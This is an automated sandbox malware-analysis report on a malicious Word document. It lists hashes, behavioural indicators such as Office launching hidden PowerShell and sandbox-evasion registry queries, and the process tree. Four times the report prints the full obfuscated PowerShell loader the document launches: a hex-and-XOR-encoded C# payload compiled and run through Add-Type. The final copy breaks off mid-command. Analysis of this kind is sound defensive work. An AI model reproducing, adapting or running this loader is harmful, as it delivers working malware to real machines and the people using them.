ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
148s
max time network
158s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-04_133557.doc
Size

408KB
MD5

3d9fd26c9bf6ecc0f3c4a30df50ef35a
SHA1

c1e1d2952e0816fc3120b88cb5eec3ac36bb4ad3
SHA256

2f6f04b280d3b441c9101b5f579f6468c9cc320a77f601a198c8e6161bd04b3b
SHA512

db3404d4878790f5ff43ca1c4d71e09e85f585b6b1cf06cf6ee877b3d6f61a0507eb68bf57234b939fe6bf7caaeeac4f3a5f247154d9d7dc1b1198b61aac9b33

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	656	3804	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2460	1568	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3672	620	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4156	3680	powershell.exe	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

37 4156 powershell.exe

flow	pid	process
37	4156	powershell.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXEEXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe

Enumerates system info in registry 2 TTPs 18 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 27 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exe

pid	process
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
1568	EXCEL.EXE
1568	EXCEL.EXE
1568	EXCEL.EXE
1568	EXCEL.EXE
620	EXCEL.EXE
620	EXCEL.EXE
620	EXCEL.EXE
620	EXCEL.EXE
3680	EXCEL.EXE
3680	EXCEL.EXE
3680	EXCEL.EXE
3680	EXCEL.EXE
4264	excelcnv.exe
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE
3928	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3928 WINWORD.EXE
3928 WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.exepowershell.execsc.execsc.execsc.execsc.exe

description	pid	process	target process
PID 3804 wrote to memory of 656	3804	EXCEL.EXE	powershell.exe
PID 3804 wrote to memory of 656	3804	EXCEL.EXE	powershell.exe
PID 1568 wrote to memory of 2460	1568	EXCEL.EXE	powershell.exe
PID 1568 wrote to memory of 2460	1568	EXCEL.EXE	powershell.exe
PID 620 wrote to memory of 3672	620	EXCEL.EXE	powershell.exe
PID 620 wrote to memory of 3672	620	EXCEL.EXE	powershell.exe
PID 3680 wrote to memory of 4156	3680	EXCEL.EXE	powershell.exe
PID 3680 wrote to memory of 4156	3680	EXCEL.EXE	powershell.exe
PID 656 wrote to memory of 4508	656	powershell.exe	csc.exe
PID 3672 wrote to memory of 4500	3672	powershell.exe	csc.exe
PID 3672 wrote to memory of 4500	3672	powershell.exe	csc.exe
PID 2460 wrote to memory of 4516	2460	powershell.exe	csc.exe
PID 2460 wrote to memory of 4516	2460	powershell.exe	csc.exe
PID 656 wrote to memory of 4508	656	powershell.exe	csc.exe
PID 4156 wrote to memory of 4528	4156	powershell.exe	csc.exe
PID 4156 wrote to memory of 4528	4156	powershell.exe	csc.exe
PID 4528 wrote to memory of 4716	4528	csc.exe	cvtres.exe
PID 4528 wrote to memory of 4716	4528	csc.exe	cvtres.exe
PID 4508 wrote to memory of 4692	4508	csc.exe	cvtres.exe
PID 4508 wrote to memory of 4692	4508	csc.exe	cvtres.exe
PID 4500 wrote to memory of 4708	4500	csc.exe	cvtres.exe
PID 4500 wrote to memory of 4708	4500	csc.exe	cvtres.exe
PID 4516 wrote to memory of 4700	4516	csc.exe	cvtres.exe
PID 4516 wrote to memory of 4700	4516	csc.exe	cvtres.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2460	powershell.exe
656	powershell.exe
3672	powershell.exe
656	powershell.exe
2460	powershell.exe
3672	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
656	powershell.exe
3672	powershell.exe
2460	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-04_133557.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3928

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function cc5229 {param($p9bd34)$o4113='hed84b';$ee9ce6='';for ($i=0; $i -lt $p9bd34.length;$i+=2){$l678189=[convert]::ToByte($p9bd34.Substring($i,2),16);$ee9ce6+=[char]($l678189 -bxor $o4113[($i/2)%$o4113.length]);}return $ee9ce6;} $a5c115 = '1d160d5653423b1c174c510f531017515a0548361d4b4007054b364d5a16010801167d0c1c00165744310d17125157071b5e114b5d0c0f45374147160d084a7c5d030f0b0b4b400b0b165f4d470b0602446b4d111c0009167d2d531017515a0548361d4b4007054b2a5d4059656f144d560e0106445b58031b16444c575050541f63700e042c09485b101c4d465351100600080b064044200a4c461b380a0d56405f4a22014c64100706255c50100d16171a1d3f4815115a580b0b45174c55160106445d4c160d170a187d0c1c35104a1403515352095054402c0a4c64161a45025a0c030b49174c460b0602444f070609045d110f392c09087159120717101016090d170a5d58515a474818710c1c171d685b0b061144051440240a055c780b0a17054a4d40413844484100040c0718471609110d5b14071011014a5a42210b106840104814530d02504016104a5d0c0f45015c0555504c5f63700e042c09485b101c4d465351100600080b064044452156401011350b515a165547325146161d040868460d1c00074c164b3545144d560e0106444b40031c0c0718511a1c0016561400070a08184e510d000201074a210b106840104815520103505e4931715a1638111618535a0c56505a564e48100d5640421c06555d025644450b4d40421d0c0a4c14095c50510b0351415e3f7c580e21081457461640472f5d460c0d09570a1a0604094614142706111641640d010b100516301c092957420725000957461b4a49446b51162404174c71101a0a160552030416011169421b11054c5d0148001c4c5110064512575d06480d5c5951000d4d2d5640321c17444d0c515d0656147d0c1c35104a14070e015c5c180b0611444c0104515d4d0344170a090d5b14111c0410515742010b101840035a52020f1c4b132c0a4c64161a450e5b03505e06531809421952510e064a0b06510a065b40475401045a5952510905035853540c045b4a4c4d035d04400f070f06540b5259057d0c1c35104a1a380d170b114f0507110b1845035a54055d0f1f210b1068401048015d0e07060d5805010254590152105e015f57525b034e0b06510a065b40475601045a5952510902555854540104005a53505c01505851545c05554a4c4d035d0440015d0e07060d5859715a16381116166e071a0a4d43530d1c0a44495550590401034937210b1068401048080501070151065910612b0611344c464b5d5e11515a164806070e505355555f51524a491f575d510451564c5c0d545b010114590351560701574e581d5008180d1d11445b57540c544d114f0507110b1845035a54055d0f1f2a1c105d6f3f481f515e0d075e581f084c5159495440520444551c01041f532c0a4c64161a450100000059582959461100040816750e040a0770730e070705541c51415e2959461100040816770d181c4c42010451005214044e0d5d505a054e5b4c5f500c030d0701105a071f452d5640321c174c5c0d545b010116600d210b100e004a414e5440045259074d14515a5c075514074b5314050a05030d5f446f51002b090d5d5a16481002005556550b014f14350d0727545d0706114c110f111c170d5653421c505109520455200a4e5d10070b095d5a164622014c720d0401014a64031c0d4c7d5a1401170b56590706114a6b44070b0c0554720d0401014a1a231815085157031c0c0b5670031c044d13163e3411005e070759474f5b57575a575d1016565e55540957570c474d03410450045016700d1f0b085755062e0c085d1c010b50560a0d4a4a555409055358515c0851560c51530d00575c55020955575b50540d575609555d0800560b505d0d04575c54530d01535951530d015759555d0800575d50060d03560950560c00525d474d1440575d54025e1d5938170b5b51111b3610594616210b0257140d0c5106000507550b014f14321a0a075d47113b11054a402b06030b1040575d54025e1d5938170b5b51111b4b374c55101c4d0b5c0000505401110f100d11114a5a42585e19484100040c0718471609110d5b14111c170d5653420b06510a065b4016104a5d0c0f451c5c0d030a4c1f4b4010010b0318520050040705160a0d015c0c56405316104a5d0c0f45150f01545a58374c460b06024a7d59121c1c5f5e5b10400c0a4c140b55555f51081a0c5c055a1a2e0d0b034c5c59014e590a1d190a1c105d140351535209505455260b5642071a114a6c5b20111101104c065104061667170a16104a5d0c0f4d0d14064b445452110f135f50520a1f5f40060c59464b40045d0e02530c53446614040a5d055b6f4a014a5611144748030600550146290156531600384d0349100d11114a5a421952510e06591518'; $a5c1152 = cc5229($a5c115); Add-Type -TypeDefinition $a5c1152; [tc281]::ta27f7();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:656

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ewadyd5\1ewadyd5.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4508

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES572E.tmp" "c:\Users\Admin\AppData\Local\Temp\1ewadyd5\CSC8A9C91AD481A46BEBC35FAD12534FD4.TMP"
4⤵
PID:4692

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function cc5229 {param($p9bd34)$o4113='hed84b';$ee9ce6='';for ($i=0; $i -lt $p9bd34.length;$i+=2){$l678189=[convert]::ToByte($p9bd34.Substring($i,2),16);$ee9ce6+=[char]($l678189 -bxor $o4113[($i/2)%$o4113.length]);}return $ee9ce6;} $a5c115 = '1d160d5653423b1c174c510f531017515a0548361d4b4007054b364d5a16010801167d0c1c00165744310d17125157071b5e114b5d0c0f45374147160d084a7c5d030f0b0b4b400b0b165f4d470b0602446b4d111c0009167d2d531017515a0548361d4b4007054b2a5d4059656f144d560e0106445b58031b16444c575050541f63700e042c09485b101c4d465351100600080b064044200a4c461b380a0d56405f4a22014c64100706255c50100d16171a1d3f4815115a580b0b45174c55160106445d4c160d170a187d0c1c35104a1403515352095054402c0a4c64161a45025a0c030b49174c460b0602444f070609045d110f392c09087159120717101016090d170a5d58515a474818710c1c171d685b0b061144051440240a055c780b0a17054a4d40413844484100040c0718471609110d5b14071011014a5a42210b106840104814530d02504016104a5d0c0f45015c0555504c5f63700e042c09485b101c4d465351100600080b064044452156401011350b515a165547325146161d040868460d1c00074c164b3545144d560e0106444b40031c0c0718511a1c0016561400070a08184e510d000201074a210b106840104815520103505e4931715a1638111618535a0c56505a564e48100d5640421c06555d025644450b4d40421d0c0a4c14095c50510b0351415e3f7c580e21081457461640472f5d460c0d09570a1a0604094614142706111641640d010b100516301c092957420725000957461b4a49446b51162404174c71101a0a160552030416011169421b11054c5d0148001c4c5110064512575d06480d5c5951000d4d2d5640321c17444d0c515d0656147d0c1c35104a14070e015c5c180b0611444c0104515d4d0344170a090d5b14111c0410515742010b101840035a52020f1c4b132c0a4c64161a450e5b03505e06531809421952510e064a0b06510a065b40475401045a5952510905035853540c045b4a4c4d035d04400f070f06540b5259057d0c1c35104a1a380d170b114f0507110b1845035a54055d0f1f210b1068401048015d0e07060d5805010254590152105e015f57525b034e0b06510a065b40475601045a5952510902555854540104005a53505c01505851545c05554a4c4d035d0440015d0e07060d5859715a16381116166e071a0a4d43530d1c0a44495550590401034937210b1068401048080501070151065910612b0611344c464b5d5e11515a164806070e505355555f51524a491f575d510451564c5c0d545b010114590351560701574e581d5008180d1d11445b57540c544d114f0507110b1845035a54055d0f1f2a1c105d6f3f481f515e0d075e581f084c5159495440520444551c01041f532c0a4c64161a450100000059582959461100040816750e040a0770730e070705541c51415e2959461100040816770d181c4c42010451005214044e0d5d505a054e5b4c5f500c030d0701105a071f452d5640321c174c5c0d545b010116600d210b100e004a414e5440045259074d14515a5c075514074b5314050a05030d5f446f51002b090d5d5a16481002005556550b014f14350d0727545d0706114c110f111c170d5653421c505109520455200a4e5d10070b095d5a164622014c720d0401014a64031c0d4c7d5a1401170b56590706114a6b44070b0c0554720d0401014a1a231815085157031c0c0b5670031c044d13163e3411005e070759474f5b57575a575d1016565e55540957570c474d03410450045016700d1f0b085755062e0c085d1c010b50560a0d4a4a555409055358515c0851560c51530d00575c55020955575b50540d575609555d0800560b505d0d04575c54530d01535951530d015759555d0800575d50060d03560950560c00525d474d1440575d54025e1d5938170b5b51111b3610594616210b0257140d0c5106000507550b014f14321a0a075d47113b11054a402b06030b1040575d54025e1d5938170b5b51111b4b374c55101c4d0b5c0000505401110f100d11114a5a42585e19484100040c0718471609110d5b14111c170d5653420b06510a065b4016104a5d0c0f451c5c0d030a4c1f4b4010010b0318520050040705160a0d015c0c56405316104a5d0c0f45150f01545a58374c460b06024a7d59121c1c5f5e5b10400c0a4c140b55555f51081a0c5c055a1a2e0d0b034c5c59014e590a1d190a1c105d140351535209505455260b5642071a114a6c5b20111101104c065104061667170a16104a5d0c0f4d0d14064b445452110f135f50520a1f5f40060c59464b40045d0e02530c53446614040a5d055b6f4a014a5611144748030600550146290156531600384d0349100d11114a5a421952510e06591518'; $a5c1152 = cc5229($a5c115); Add-Type -TypeDefinition $a5c1152; [tc281]::ta27f7();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2460

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bn0lobtd\bn0lobtd.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4516

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5731.tmp" "c:\Users\Admin\AppData\Local\Temp\bn0lobtd\CSC9FF85607680742D7A321F6E8102C6266.TMP"
4⤵
PID:4700

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function cc5229 {param($p9bd34)$o4113='hed84b';$ee9ce6='';for ($i=0; $i -lt $p9bd34.length;$i+=2){$l678189=[convert]::ToByte($p9bd34.Substring($i,2),16);$ee9ce6+=[char]($l678189 -bxor $o4113[($i/2)%$o4113.length]);}return $ee9ce6;} $a5c115 = '1d160d5653423b1c174c510f531017515a0548361d4b4007054b364d5a16010801167d0c1c00165744310d17125157071b5e114b5d0c0f45374147160d084a7c5d030f0b0b4b400b0b165f4d470b0602446b4d111c0009167d2d531017515a0548361d4b4007054b2a5d4059656f144d560e0106445b58031b16444c575050541f63700e042c09485b101c4d465351100600080b064044200a4c461b380a0d56405f4a22014c64100706255c50100d16171a1d3f4815115a580b0b45174c55160106445d4c160d170a187d0c1c35104a1403515352095054402c0a4c64161a45025a0c030b49174c460b0602444f070609045d110f392c09087159120717101016090d170a5d58515a474818710c1c171d685b0b061144051440240a055c780b0a17054a4d40413844484100040c0718471609110d5b14071011014a5a42210b106840104814530d02504016104a5d0c0f45015c0555504c5f63700e042c09485b101c4d465351100600080b064044452156401011350b515a165547325146161d040868460d1c00074c164b3545144d560e0106444b40031c0c0718511a1c0016561400070a08184e510d000201074a210b106840104815520103505e4931715a1638111618535a0c56505a564e48100d5640421c06555d025644450b4d40421d0c0a4c14095c50510b0351415e3f7c580e21081457461640472f5d460c0d09570a1a0604094614142706111641640d010b100516301c092957420725000957461b4a49446b51162404174c71101a0a160552030416011169421b11054c5d0148001c4c5110064512575d06480d5c5951000d4d2d5640321c17444d0c515d0656147d0c1c35104a14070e015c5c180b0611444c0104515d4d0344170a090d5b14111c0410515742010b101840035a52020f1c4b132c0a4c64161a450e5b03505e06531809421952510e064a0b06510a065b40475401045a5952510905035853540c045b4a4c4d035d04400f070f06540b5259057d0c1c35104a1a380d170b114f0507110b1845035a54055d0f1f210b1068401048015d0e07060d5805010254590152105e015f57525b034e0b06510a065b40475601045a5952510902555854540104005a53505c01505851545c05554a4c4d035d0440015d0e07060d5859715a16381116166e071a0a4d43530d1c0a44495550590401034937210b1068401048080501070151065910612b0611344c464b5d5e11515a164806070e505355555f51524a491f575d510451564c5c0d545b010114590351560701574e581d5008180d1d11445b57540c544d114f0507110b1845035a54055d0f1f2a1c105d6f3f481f515e0d075e581f084c5159495440520444551c01041f532c0a4c64161a450100000059582959461100040816750e040a0770730e070705541c51415e2959461100040816770d181c4c42010451005214044e0d5d505a054e5b4c5f500c030d0701105a071f452d5640321c174c5c0d545b010116600d210b100e004a414e5440045259074d14515a5c075514074b5314050a05030d5f446f51002b090d5d5a16481002005556550b014f14350d0727545d0706114c110f111c170d5653421c505109520455200a4e5d10070b095d5a164622014c720d0401014a64031c0d4c7d5a1401170b56590706114a6b44070b0c0554720d0401014a1a231815085157031c0c0b5670031c044d13163e3411005e070759474f5b57575a575d1016565e55540957570c474d03410450045016700d1f0b085755062e0c085d1c010b50560a0d4a4a555409055358515c0851560c51530d00575c55020955575b50540d575609555d0800560b505d0d04575c54530d01535951530d015759555d0800575d50060d03560950560c00525d474d1440575d54025e1d5938170b5b51111b3610594616210b0257140d0c5106000507550b014f14321a0a075d47113b11054a402b06030b1040575d54025e1d5938170b5b51111b4b374c55101c4d0b5c0000505401110f100d11114a5a42585e19484100040c0718471609110d5b14111c170d5653420b06510a065b4016104a5d0c0f451c5c0d030a4c1f4b4010010b0318520050040705160a0d015c0c56405316104a5d0c0f45150f01545a58374c460b06024a7d59121c1c5f5e5b10400c0a4c140b55555f51081a0c5c055a1a2e0d0b034c5c59014e590a1d190a1c105d140351535209505455260b5642071a114a6c5b20111101104c065104061667170a16104a5d0c0f4d0d14064b445452110f135f50520a1f5f40060c59464b40045d0e02530c53446614040a5d055b6f4a014a5611144748030600550146290156531600384d0349100d11114a5a421952510e06591518'; $a5c1152 = cc5229($a5c115); Add-Type -TypeDefinition $a5c1152; [tc281]::ta27f7();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3672

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gtrsb0yk\gtrsb0yk.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES572F.tmp" "c:\Users\Admin\AppData\Local\Temp\gtrsb0yk\CSC110145828A5D454B9F7F907191AB1D66.TMP"
4⤵
PID:4708

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function cc5229 {param($p9bd34)$o4113='hed84b';$ee9ce6='';for ($i=0; $i -lt $p9bd34.length;$i+=2){$l678189=[convert]::ToByte($p9bd34.Substring($i,2),16);$ee9ce6+=[char]($l678189 -bxor $o4113[($i/2)%$o4113.length]);}return $ee9ce6;} $a5c115 = '1d160d5653423b1c174c510f531017515a0548361d4b4007054b364d5a16010801167d0c1c00165744310d17125157071b5e114b5d0c0f45374147160d084a7c5d030f0b0b4b400b0b165f4d470b0602446b4d111c0009167d2d531017515a0548361d4b4007054b2a5d4059656f144d560e0106445b58031b16444c575050541f63700e042c09485b101c4d465351100600080b064044200a4c461b380a0d56405f4a22014c64100706255c50100d16171a1d3f4815115a580b0b45174c55160106445d4c160d170a187d0c1c35104a1403515352095054402c0a4c64161a45025a0c030b49174c460b0602444f070609045d110f392c09087159120717101016090d170a5d58515a474818710c1c171d685b0b061144051440240a055c780b0a17054a4d40413844484100040c0718471609110d5b14071011014a5a42210b106840104814530d02504016104a5d0c0f45015c0555504c5f63700e042c09485b101c4d465351100600080b064044452156401011350b515a165547325146161d040868460d1c00074c164b3545144d560e0106444b40031c0c0718511a1c0016561400070a08184e510d000201074a210b106840104815520103505e4931715a1638111618535a0c56505a564e48100d5640421c06555d025644450b4d40421d0c0a4c14095c50510b0351415e3f7c580e21081457461640472f5d460c0d09570a1a0604094614142706111641640d010b100516301c092957420725000957461b4a49446b51162404174c71101a0a160552030416011169421b11054c5d0148001c4c5110064512575d06480d5c5951000d4d2d5640321c17444d0c515d0656147d0c1c35104a14070e015c5c180b0611444c0104515d4d0344170a090d5b14111c0410515742010b101840035a52020f1c4b132c0a4c64161a450e5b03505e06531809421952510e064a0b06510a065b40475401045a5952510905035853540c045b4a4c4d035d04400f070f06540b5259057d0c1c35104a1a380d170b114f0507110b1845035a54055d0f1f210b1068401048015d0e07060d5805010254590152105e015f57525b034e0b06510a065b40475601045a5952510902555854540104005a53505c01505851545c05554a4c4d035d0440015d0e07060d5859715a16381116166e071a0a4d43530d1c0a44495550590401034937210b1068401048080501070151065910612b0611344c464b5d5e11515a164806070e505355555f51524a491f575d510451564c5c0d545b010114590351560701574e581d5008180d1d11445b57540c544d114f0507110b1845035a54055d0f1f2a1c105d6f3f481f515e0d075e581f084c5159495440520444551c01041f532c0a4c64161a450100000059582959461100040816750e040a0770730e070705541c51415e2959461100040816770d181c4c42010451005214044e0d5d505a054e5b4c5f500c030d0701105a071f452d5640321c174c5c0d545b010116600d210b100e004a414e5440045259074d14515a5c075514074b5314050a05030d5f446f51002b090d5d5a16481002005556550b014f14350d0727545d0706114c110f111c170d5653421c505109520455200a4e5d10070b095d5a164622014c720d0401014a64031c0d4c7d5a1401170b56590706114a6b44070b0c0554720d0401014a1a231815085157031c0c0b5670031c044d13163e3411005e070759474f5b57575a575d1016565e55540957570c474d03410450045016700d1f0b085755062e0c085d1c010b50560a0d4a4a555409055358515c0851560c51530d00575c55020955575b50540d575609555d0800560b505d0d04575c54530d01535951530d015759555d0800575d50060d03560950560c00525d474d1440575d54025e1d5938170b5b51111b3610594616210b0257140d0c5106000507550b014f14321a0a075d47113b11054a402b06030b1040575d54025e1d5938170b5b51111b4b374c55101c4d0b5c0000505401110f100d11114a5a42585e19484100040c0718471609110d5b14111c170d5653420b06510a065b4016104a5d0c0f451c5c0d030a4c1f4b4010010b0318520050040705160a0d015c0c56405316104a5d0c0f45150f01545a58374c460b06024a7d59121c1c5f5e5b10400c0a4c140b55555f51081a0c5c055a1a2e0d0b034c5c59014e590a1d190a1c105d140351535209505455260b5642071a114a6c5b20111101104c065104061667170a16104a5d0c0f4d0d14064b445452110f135f50520a1f5f40060c59464b40045d0e02530c53446614040a5d055b6f4a014a5611144748030600550146290156531600384d0349100d11114a5a421952510e06591518'; $a5c1152 = cc5229($a5c115); Add-Type -TypeDefinition $a5c1152; 